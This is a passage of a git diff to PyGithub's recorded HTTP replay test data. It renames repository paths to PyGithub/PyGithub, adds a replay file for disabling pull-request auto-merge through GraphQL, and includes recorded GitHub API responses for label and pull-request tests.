'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4968'), ('content-length', '213'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"1a56634d9c1050a88592ff55ed8adc62"'), ('date', 'Sun, 27 May 2012 09:06:41 GMT'), ('content-type', 'application/json; charset=utf-8')] -[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/wip","name":"wip","color":"eb6420"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/refactoring","name":"refactoring","color":"fbca04"}] - +[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/wip","name":"wip","color":"eb6420"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/refactoring","name":"refactoring","color":"fbca04"}] diff --git a/tests/ReplayData/PullRequest.testDeleteAndSetLabelsWithStringArguments.txt b/tests/ReplayData/PullRequest.testDeleteAndSetLabelsWithStringArguments.txt index cef8470197..aa2fc2d5dd 100644 --- a/tests/ReplayData/PullRequest.testDeleteAndSetLabelsWithStringArguments.txt +++ b/tests/ReplayData/PullRequest.testDeleteAndSetLabelsWithStringArguments.txt @@ -2,18 +2,18 @@ https GET api.github.com None -/repos/jacquev6/PyGithub/issues/31/labels +/repos/PyGithub/PyGithub/issues/31/labels {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4972'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d135d74d2ea2159d044676a220d41d3a"'), ('date', 'Sun, 27 May 2012 09:06:39 GMT'), ('content-type', 'application/json; charset=utf-8')] -[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/wip","name":"wip","color":"eb6420"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/refactoring","name":"refactoring","color":"fbca04"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/improvement","name":"improvement","color":"ffffff"}] +[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/wip","name":"wip","color":"eb6420"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/refactoring","name":"refactoring","color":"fbca04"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/improvement","name":"improvement","color":"ffffff"}] https DELETE api.github.com None -/repos/jacquev6/PyGithub/issues/31/labels +/repos/PyGithub/PyGithub/issues/31/labels {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 @@ -24,7 +24,7 @@ https GET api.github.com None -/repos/jacquev6/PyGithub/issues/31/labels +/repos/PyGithub/PyGithub/issues/31/labels {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 @@ -35,21 +35,20 @@ https PUT api.github.com None -/repos/jacquev6/PyGithub/issues/31/labels +/repos/PyGithub/PyGithub/issues/31/labels {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} ["wip", "refactoring"] 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4969'), ('content-length', '213'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"1a56634d9c1050a88592ff55ed8adc62"'), ('date', 'Sun, 27 May 2012 09:06:40 GMT'), ('content-type', 'application/json; charset=utf-8')] -[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/wip","name":"wip","color":"eb6420"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/refactoring","name":"refactoring","color":"fbca04"}] +[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/wip","name":"wip","color":"eb6420"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/refactoring","name":"refactoring","color":"fbca04"}] https GET api.github.com None -/repos/jacquev6/PyGithub/issues/31/labels +/repos/PyGithub/PyGithub/issues/31/labels {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4968'), ('content-length', '213'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"1a56634d9c1050a88592ff55ed8adc62"'), ('date', 'Sun, 27 May 2012 09:06:41 GMT'), ('content-type', 'application/json; charset=utf-8')] -[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/wip","name":"wip","color":"eb6420"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/refactoring","name":"refactoring","color":"fbca04"}] - +[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/wip","name":"wip","color":"eb6420"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/refactoring","name":"refactoring","color":"fbca04"}] diff --git a/tests/ReplayData/PullRequest.testDisableAutomerge.txt b/tests/ReplayData/PullRequest.testDisableAutomerge.txt new file mode 100644 index 0000000000..6449f10e83 --- /dev/null +++ b/tests/ReplayData/PullRequest.testDisableAutomerge.txt @@ -0,0 +1,10 @@ +https +POST +api.github.com +None +/graphql +{'Authorization': 'Basic login_and_password_removed', 'Content-Type': 'application/json', 'User-Agent': 'PyGithub/Python'} +{"query": "mutation DisablePullRequestAutoMerge($input: DisablePullRequestAutoMergeInput!) { disablePullRequestAutoMerge(input: $input) { actor { avatarUrl login resourcePath url } clientMutationId } }", "variables": {"input": {"pullRequestId": "MDExOlB1bGxSZXF1ZXN0MTQzNjIxNQ=="}}} +200 +[('Server', 'GitHub.com'), ('Date', 'Wed, 07 Jun 2023 08:27:45 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"1573389419d98a2b3d9a6b1fc058a68f1fc3d31108ccfdab8ca4121153626211"'), ('Last-Modified', 'Wed, 07 Jun 2023 04:02:03 GMT'), ('X-OAuth-Scopes', 'public_repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4959'), ('X-RateLimit-Reset', '1686126614'), ('X-RateLimit-Used', '41'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '8A96:10854:895AE2:8AB25B:64803F81')] +{"data": {"disablePullRequestAutoMerge": {"actor": {"avatarUrl": "https://avatars.githubusercontent.com/u/14806300?u=786f9f8ef8782d45381b01580f7f7783cf9c7e37&v=4", "login": "heitorpolidoro", "resourcePath": "/heitorpolidoro", "url": "https://github.com/heitorpolidoro"}, "clientMutationId": null}}} diff --git a/tests/ReplayData/PullRequest.testEditWithAllArguments.txt b/tests/ReplayData/PullRequest.testEditWithAllArguments.txt index 16c6091e0a..ed39e4534e 100644 --- a/tests/ReplayData/PullRequest.testEditWithAllArguments.txt +++ b/tests/ReplayData/PullRequest.testEditWithAllArguments.txt @@ -8,4 +8,3 @@ None 200 [('Date', 'Mon, 13 Apr 2020 19:22:00 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4997'), ('X-RateLimit-Reset', '1586809318'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"1e97ce90f5fa20e47d211d0f61124968"'), ('X-OAuth-Scopes', 'admin:repo_hook, delete_repo, repo'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'C400:0BAB:22B5ECF:289EF45:5E94BBD7')] {"url":"https://api.github.com/repos/FlorentClarret/PyGithub/pulls/2","id":402792811,"node_id":"MDExOlB1bGxSZXF1ZXN0NDAyNzkyODEx","html_url":"https://github.com/FlorentClarret/PyGithub/pull/2","diff_url":"https://github.com/FlorentClarret/PyGithub/pull/2.diff","patch_url":"https://github.com/FlorentClarret/PyGithub/pull/2.patch","issue_url":"https://api.github.com/repos/FlorentClarret/PyGithub/issues/2","number":2,"state":"open","locked":false,"title":"Title edited by PyGithub","user":{"login":"FlorentClarret","id":1266346,"node_id":"MDQ6VXNlcjEyNjYzNDY=","avatar_url":"https://avatars0.githubusercontent.com/u/1266346?v=4","gravatar_id":"","url":"https://api.github.com/users/FlorentClarret","html_url":"https://github.com/FlorentClarret","followers_url":"https://api.github.com/users/FlorentClarret/followers","following_url":"https://api.github.com/users/FlorentClarret/following{/other_user}","gists_url":"https://api.github.com/users/FlorentClarret/gists{/gist_id}","starred_url":"https://api.github.com/users/FlorentClarret/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/FlorentClarret/subscriptions","organizations_url":"https://api.github.com/users/FlorentClarret/orgs","repos_url":"https://api.github.com/users/FlorentClarret/repos","events_url":"https://api.github.com/users/FlorentClarret/events{/privacy}","received_events_url":"https://api.github.com/users/FlorentClarret/received_events","type":"User","site_admin":false},"body":"Body edited by PyGithub","created_at":"2020-04-13T19:12:37Z","updated_at":"2020-04-13T19:22:00Z","closed_at":null,"merged_at":null,"merge_commit_sha":"567f079c0d56e9db59a78584100ed1b05667126f","assignee":null,"assignees":[],"requested_reviewers":[],"requested_teams":[],"labels":[],"milestone":null,"draft":false,"commits_url":"https://api.github.com/repos/FlorentClarret/PyGithub/pulls/2/commits","review_comments_url":"https://api.github.com/repos/FlorentClarret/PyGithub/pulls/2/comments","review_comment_url":"https://api.github.com/repos/FlorentClarret/PyGithub/pulls/comments{/number}","comments_url":"https://api.github.com/repos/FlorentClarret/PyGithub/issues/2/comments","statuses_url":"https://api.github.com/repos/FlorentClarret/PyGithub/statuses/5160aeacd13c921d152dbaa86b3188fcf0a72a6c","head":{"label":"FlorentClarret:feature/pr-maintainer-can-modify","ref":"feature/pr-maintainer-can-modify","sha":"5160aeacd13c921d152dbaa86b3188fcf0a72a6c","user":{"login":"FlorentClarret","id":1266346,"node_id":"MDQ6VXNlcjEyNjYzNDY=","avatar_url":"https://avatars0.githubusercontent.com/u/1266346?v=4","gravatar_id":"","url":"https://api.github.com/users/FlorentClarret","html_url":"https://github.com/FlorentClarret","followers_url":"https://api.github.com/users/FlorentClarret/followers","following_url":"https://api.github.com/users/FlorentClarret/following{/other_user}","gists_url":"https://api.github.com/users/FlorentClarret/gists{/gist_id}","starred_url":"https://api.github.com/users/FlorentClarret/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/FlorentClarret/subscriptions","organizations_url":"https://api.github.com/users/FlorentClarret/orgs","repos_url":"https://api.github.com/users/FlorentClarret/repos","events_url":"https://api.github.com/users/FlorentClarret/events{/privacy}","received_events_url":"https://api.github.com/users/FlorentClarret/received_events","type":"User","site_admin":false},"repo":{"id":255355160,"node_id":"MDEwOlJlcG9zaXRvcnkyNTUzNTUxNjA=","name":"PyGithub","full_name":"FlorentClarret/PyGithub","private":false,"owner":{"login":"FlorentClarret","id":1266346,"node_id":"MDQ6VXNlcjEyNjYzNDY=","avatar_url":"https://avatars0.githubusercontent.com/u/1266346?v=4","gravatar_id":"","url":"https://api.github.com/users/FlorentClarret","html_url":"https://github.com/FlorentClarret","followers_url":"https://api.github.com/users/FlorentClarret/followers","following_url":"https://api.github.com/users/FlorentClarret/following{/other_user}","gists_url":"https://api.github.com/users/FlorentClarret/gists{/gist_id}","starred_url":"https://api.github.com/users/FlorentClarret/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/FlorentClarret/subscriptions","organizations_url":"https://api.github.com/users/FlorentClarret/orgs","repos_url":"https://api.github.com/users/FlorentClarret/repos","events_url":"https://api.github.com/users/FlorentClarret/events{/privacy}","received_events_url":"https://api.github.com/users/FlorentClarret/received_events","type":"User","site_admin":false},"html_url":"https://github.com/FlorentClarret/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/FlorentClarret/PyGithub","forks_url":"https://api.github.com/repos/FlorentClarret/PyGithub/forks","keys_url":"https://api.github.com/repos/FlorentClarret/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/FlorentClarret/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/FlorentClarret/PyGithub/teams","hooks_url":"https://api.github.com/repos/FlorentClarret/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/FlorentClarret/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/FlorentClarret/PyGithub/events","assignees_url":"https://api.github.com/repos/FlorentClarret/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/FlorentClarret/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/FlorentClarret/PyGithub/tags","blobs_url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/FlorentClarret/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/FlorentClarret/PyGithub/languages","stargazers_url":"https://api.github.com/repos/FlorentClarret/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/FlorentClarret/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/FlorentClarret/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/FlorentClarret/PyGithub/subscription","commits_url":"https://api.github.com/repos/FlorentClarret/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/FlorentClarret/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/FlorentClarret/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/FlorentClarret/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/FlorentClarret/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/FlorentClarret/PyGithub/merges","archive_url":"https://api.github.com/repos/FlorentClarret/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/FlorentClarret/PyGithub/downloads","issues_url":"https://api.github.com/repos/FlorentClarret/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/FlorentClarret/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/FlorentClarret/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/FlorentClarret/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/FlorentClarret/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/FlorentClarret/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/FlorentClarret/PyGithub/deployments","created_at":"2020-04-13T14:45:18Z","updated_at":"2020-04-13T14:45:20Z","pushed_at":"2020-04-13T19:18:21Z","git_url":"git://github.com/FlorentClarret/PyGithub.git","ssh_url":"git@github.com:FlorentClarret/PyGithub.git","clone_url":"https://github.com/FlorentClarret/PyGithub.git","svn_url":"https://github.com/FlorentClarret/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":12619,"stargazers_count":0,"watchers_count":0,"language":null,"has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":2,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":0,"open_issues":2,"watchers":0,"default_branch":"master"}},"base":{"label":"FlorentClarret:master","ref":"master","sha":"b4ca9177262b3b3eea2774ac9e942c67783fe4bb","user":{"login":"FlorentClarret","id":1266346,"node_id":"MDQ6VXNlcjEyNjYzNDY=","avatar_url":"https://avatars0.githubusercontent.com/u/1266346?v=4","gravatar_id":"","url":"https://api.github.com/users/FlorentClarret","html_url":"https://github.com/FlorentClarret","followers_url":"https://api.github.com/users/FlorentClarret/followers","following_url":"https://api.github.com/users/FlorentClarret/following{/other_user}","gists_url":"https://api.github.com/users/FlorentClarret/gists{/gist_id}","starred_url":"https://api.github.com/users/FlorentClarret/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/FlorentClarret/subscriptions","organizations_url":"https://api.github.com/users/FlorentClarret/orgs","repos_url":"https://api.github.com/users/FlorentClarret/repos","events_url":"https://api.github.com/users/FlorentClarret/events{/privacy}","received_events_url":"https://api.github.com/users/FlorentClarret/received_events","type":"User","site_admin":false},"repo":{"id":255355160,"node_id":"MDEwOlJlcG9zaXRvcnkyNTUzNTUxNjA=","name":"PyGithub","full_name":"FlorentClarret/PyGithub","private":false,"owner":{"login":"FlorentClarret","id":1266346,"node_id":"MDQ6VXNlcjEyNjYzNDY=","avatar_url":"https://avatars0.githubusercontent.com/u/1266346?v=4","gravatar_id":"","url":"https://api.github.com/users/FlorentClarret","html_url":"https://github.com/FlorentClarret","followers_url":"https://api.github.com/users/FlorentClarret/followers","following_url":"https://api.github.com/users/FlorentClarret/following{/other_user}","gists_url":"https://api.github.com/users/FlorentClarret/gists{/gist_id}","starred_url":"https://api.github.com/users/FlorentClarret/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/FlorentClarret/subscriptions","organizations_url":"https://api.github.com/users/FlorentClarret/orgs","repos_url":"https://api.github.com/users/FlorentClarret/repos","events_url":"https://api.github.com/users/FlorentClarret/events{/privacy}","received_events_url":"https://api.github.com/users/FlorentClarret/received_events","type":"User","site_admin":false},"html_url":"https://github.com/FlorentClarret/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/FlorentClarret/PyGithub","forks_url":"https://api.github.com/repos/FlorentClarret/PyGithub/forks","keys_url":"https://api.github.com/repos/FlorentClarret/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/FlorentClarret/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/FlorentClarret/PyGithub/teams","hooks_url":"https://api.github.com/repos/FlorentClarret/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/FlorentClarret/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/FlorentClarret/PyGithub/events","assignees_url":"https://api.github.com/repos/FlorentClarret/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/FlorentClarret/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/FlorentClarret/PyGithub/tags","blobs_url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/FlorentClarret/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/FlorentClarret/PyGithub/languages","stargazers_url":"https://api.github.com/repos/FlorentClarret/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/FlorentClarret/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/FlorentClarret/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/FlorentClarret/PyGithub/subscription","commits_url":"https://api.github.com/repos/FlorentClarret/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/FlorentClarret/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/FlorentClarret/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/FlorentClarret/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/FlorentClarret/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/FlorentClarret/PyGithub/merges","archive_url":"https://api.github.com/repos/FlorentClarret/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/FlorentClarret/PyGithub/downloads","issues_url":"https://api.github.com/repos/FlorentClarret/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/FlorentClarret/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/FlorentClarret/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/FlorentClarret/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/FlorentClarret/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/FlorentClarret/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/FlorentClarret/PyGithub/deployments","created_at":"2020-04-13T14:45:18Z","updated_at":"2020-04-13T14:45:20Z","pushed_at":"2020-04-13T19:18:21Z","git_url":"git://github.com/FlorentClarret/PyGithub.git","ssh_url":"git@github.com:FlorentClarret/PyGithub.git","clone_url":"https://github.com/FlorentClarret/PyGithub.git","svn_url":"https://github.com/FlorentClarret/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":12619,"stargazers_count":0,"watchers_count":0,"language":null,"has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":2,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":0,"open_issues":2,"watchers":0,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/FlorentClarret/PyGithub/pulls/2"},"html":{"href":"https://github.com/FlorentClarret/PyGithub/pull/2"},"issue":{"href":"https://api.github.com/repos/FlorentClarret/PyGithub/issues/2"},"comments":{"href":"https://api.github.com/repos/FlorentClarret/PyGithub/issues/2/comments"},"review_comments":{"href":"https://api.github.com/repos/FlorentClarret/PyGithub/pulls/2/comments"},"review_comment":{"href":"https://api.github.com/repos/FlorentClarret/PyGithub/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/FlorentClarret/PyGithub/pulls/2/commits"},"statuses":{"href":"https://api.github.com/repos/FlorentClarret/PyGithub/statuses/5160aeacd13c921d152dbaa86b3188fcf0a72a6c"}},"author_association":"OWNER","merged":false,"mergeable":null,"rebaseable":null,"mergeable_state":"unknown","merged_by":null,"comments":0,"review_comments":0,"maintainer_can_modify":true,"commits":1,"additions":57,"deletions":9,"changed_files":4} - diff --git a/tests/ReplayData/PullRequest.testEditWithoutArguments.txt b/tests/ReplayData/PullRequest.testEditWithoutArguments.txt index 2dad8140e6..243de5f0f0 100644 --- a/tests/ReplayData/PullRequest.testEditWithoutArguments.txt +++ b/tests/ReplayData/PullRequest.testEditWithoutArguments.txt @@ -2,10 +2,9 @@ https PATCH api.github.com None -/repos/jacquev6/PyGithub/pulls/31 +/repos/PyGithub/PyGithub/pulls/31 {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {} 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4983'), ('content-length', '4486'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"f64654209621a4117940acf5b8ac7918"'), ('date', 'Sun, 27 May 2012 10:16:02 GMT'), ('content-type', 'application/json; charset=utf-8')] -{"merged":false,"mergeable":true,"head":{"ref":"master","label":"BeaverSoftware:master","repo":{"clone_url":"https://github.com/BeaverSoftware/PyGithub.git","has_downloads":true,"watchers":1,"git_url":"git://github.com/BeaverSoftware/PyGithub.git","updated_at":"2012-05-27T09:09:17Z","homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/BeaverSoftware/PyGithub","mirror_url":null,"has_wiki":false,"has_issues":false,"fork":true,"forks":0,"size":176,"private":false,"open_issues":0,"svn_url":"https://github.com/BeaverSoftware/PyGithub","owner":{"url":"https://api.github.com/users/BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","login":"BeaverSoftware","id":1424031},"name":"PyGithub","language":"Python","description":"Python library implementing the full Github API v3","ssh_url":"git@github.com:BeaverSoftware/PyGithub.git","pushed_at":"2012-05-27T09:09:17Z","created_at":"2012-05-27T08:50:04Z","id":4460787,"html_url":"https://github.com/BeaverSoftware/PyGithub","full_name":"BeaverSoftware/PyGithub"},"user":{"url":"https://api.github.com/users/BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","login":"BeaverSoftware","id":1424031},"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},"updated_at":"2012-05-27T10:16:02Z","issue_url":"https://github.com/jacquev6/PyGithub/issues/31","body":"Body of the pull request","patch_url":"https://github.com/jacquev6/PyGithub/pull/31.patch","diff_url":"https://github.com/jacquev6/PyGithub/pull/31.diff","url":"https://api.github.com/repos/jacquev6/PyGithub/pulls/31","comments":0,"base":{"ref":"topic/RewriteWithGeneratedCode","label":"jacquev6:topic/RewriteWithGeneratedCode","repo":{"clone_url":"https://github.com/jacquev6/PyGithub.git","has_downloads":true,"watchers":15,"git_url":"git://github.com/jacquev6/PyGithub.git","updated_at":"2012-05-27T08:50:04Z","homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub","mirror_url":null,"has_wiki":false,"has_issues":true,"fork":false,"forks":3,"size":308,"private":false,"open_issues":17,"svn_url":"https://github.com/jacquev6/PyGithub","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"PyGithub","language":"Python","description":"Python library implementing the full Github API v3","ssh_url":"git@github.com:jacquev6/PyGithub.git","pushed_at":"2012-05-27T07:29:24Z","created_at":"2012-02-25T12:53:47Z","id":3544490,"html_url":"https://github.com/jacquev6/PyGithub","full_name":"jacquev6/PyGithub"},"user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"sha":"ed866fc43833802ab553e5ff8581c81bb00dd433"},"number":31,"merged_by":null,"closed_at":null,"title":"Pull request created by PyGithub","deletions":384,"merged_at":null,"_links":{"self":{"href":"https://api.github.com/repos/jacquev6/PyGithub/pulls/31"},"comments":{"href":"https://api.github.com/repos/jacquev6/PyGithub/issues/31/comments"},"issue":{"href":"https://api.github.com/repos/jacquev6/PyGithub/issues/31"},"html":{"href":"https://github.com/jacquev6/PyGithub/pull/31"},"review_comments":{"href":"https://api.github.com/repos/jacquev6/PyGithub/pulls/31/comments"}},"changed_files":45,"additions":511,"created_at":"2012-05-27T09:25:36Z","user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"state":"open","id":1436215,"review_comments":1,"commits":3,"html_url":"https://github.com/jacquev6/PyGithub/pull/31"} - 